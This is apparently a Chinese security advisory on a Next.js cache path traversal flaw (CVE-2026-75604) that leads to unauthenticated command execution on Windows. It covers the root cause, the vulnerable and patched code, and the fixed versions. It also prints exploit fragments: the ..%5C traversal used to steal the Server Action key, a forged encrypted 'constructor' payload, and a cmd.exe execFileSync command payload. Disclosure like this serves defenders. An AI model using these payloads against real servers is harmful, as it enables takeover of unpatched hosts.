【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)
YGnight
YGnight
night安全
2026年8月31日 08:15
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一、漏洞描述
收到情报Next存在缓存路径穿越漏洞,编号是CVE-2026-75604,可以在未授权的情况下实现远程命令执行,poc脚本已经公开了,简单分析了一下漏洞形成的原理,导致这个漏洞的问题出在 Next.js 自带的文件缓存上,只在 Windows 上触发。攻击者不用登录,发几个构造好的请求就能在服务器上执行任意命令,直接拿下整台机器。
问题的根本原因是路径穿越导致的。Next.js 在把网址转成缓存文件名时,没有把反斜杠当成需要处理的特字符。而 Windows 上反斜杠就是目录分隔符,攻击者通过在网址里塞 ..\\ 就能一层层往上跳,把不该看的文件读出来,最终演变成远程命令执行。
| CVE 编号 | CVE-2026-75604 |
| 漏洞类型 | 缓存路径穿越 + 信息泄露 + 未授权远程命令执行 |
| 影响组件 | Next.js 自带的文件系统缓存(.next 目录),及其中的 Server Action 加密密钥处理 |
| 受影响版本 | 13.4 到 15.5.24 之前,以及 16.0 到 16.3.3 之前 |
| 修复版本 | 15.5.24 和 16.3.3 |
| CVSS 评分 | 9.9,严重 |
| 利用条件 | 部署在原生 Windows 上,同时使用了 Pages Router 和 App Router,并且网站还开启了增量静态缓存 |
二、漏洞原理
这个漏洞是两处问题凑到一起才成立的,核心都出在反斜杠没有被当成特殊符号处理。
第一处是路径穿越。Next.js 会给带参数的动态页面开缓存,把访问过的内容写进 .next 目录下的文件里。它转义网址的时候只处理了正斜杠、井号和问号,反斜杠完全没管:
// 漏洞版本:转义范围不含反斜杠 \\
segment.replace(
new RegExp(`([/#?]${escapeEncoded ? '|%(2f|23|3f|5c)' : ''})`, 'gi'),
(char) => encodeURIComponent(char)
)
// 修复版本:反斜杠 \\ 纳入转义范围
segment.replace(
new RegExp(`([/#?\\\\]${escapeEncoded ? '|%(2f|23|3f|5c)' : ''})`, 'gi'),
(char) => encodeURIComponent(char)
)
Windows 中反斜杠为路径分隔符且未被转义,攻击者在 URL 中插入 ..%5C(即 ..\\),结合已开启的动态页面,可逐层向上越界直至离开缓存目录。负责拼接路径的函数 getFilePath 未校验拼接结果是否仍位于缓存目录内:
// 修复版本在拼接后增加路径校验
const filePath = path.join(rootDir, key)
if (!(filePath.startsWith(rootDir + path.sep) || filePath === rootDir)) {
throw new Error('Invalid file path: ' + filePath)
}
return filePath
越界后读取的目标为 server-reference-manifest.json。该文件存放 Server Action 相关信息,其中包含一把加密密钥。结合路径穿越可匿名读取该文件,取得 Server Action 加密密钥。
第二处:以窃取密钥伪造请求,执行命令。Server Action 为 Next.js 处理表单提交的机制,提交参数以密钥加密。在触发页面中选取可接收传入的闭包绑定参数的动作,即可利用密钥自行加密构造参数,将待执行命令注入其中:
# 以窃取密钥加密\"构造函数\"载荷作为伪装参数
flight = b'1:{}\
0:[\"$1:constructor:constructor\"]\
'
iv = os.urandom(16)
plaintext = action_id.encode() + flight
ciphertext = AESGCM(encryption_key).encrypt(iv, plaintext, None)
# 命令载荷:调用 cmd.exe 执行并回传结果
'const cp=process.mainModule.require(\"node:child_process\");'
'const output=cp.execFileSync(\"cmd.exe\",[\"/d\",\"/s\",\"/c\",<命令>],'
' {encoding:\"utf8\"});'
整个利用链是1.经反斜杠穿越缓存目录 2.读取 Server Action 加密密钥 3.伪造携带命令的请求 4.在服务器执行任意命令。整个流程是不需登录的。命令执行结果经攻击者自建的回连服务器回传,PoC 默认执行 whoami 验证。
三、修复建议
- 升级至 15.5.24 或 16.3.3 及以上版本。
- 暂无法升级的情况,可以停用增量静态缓存相关动态页面。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论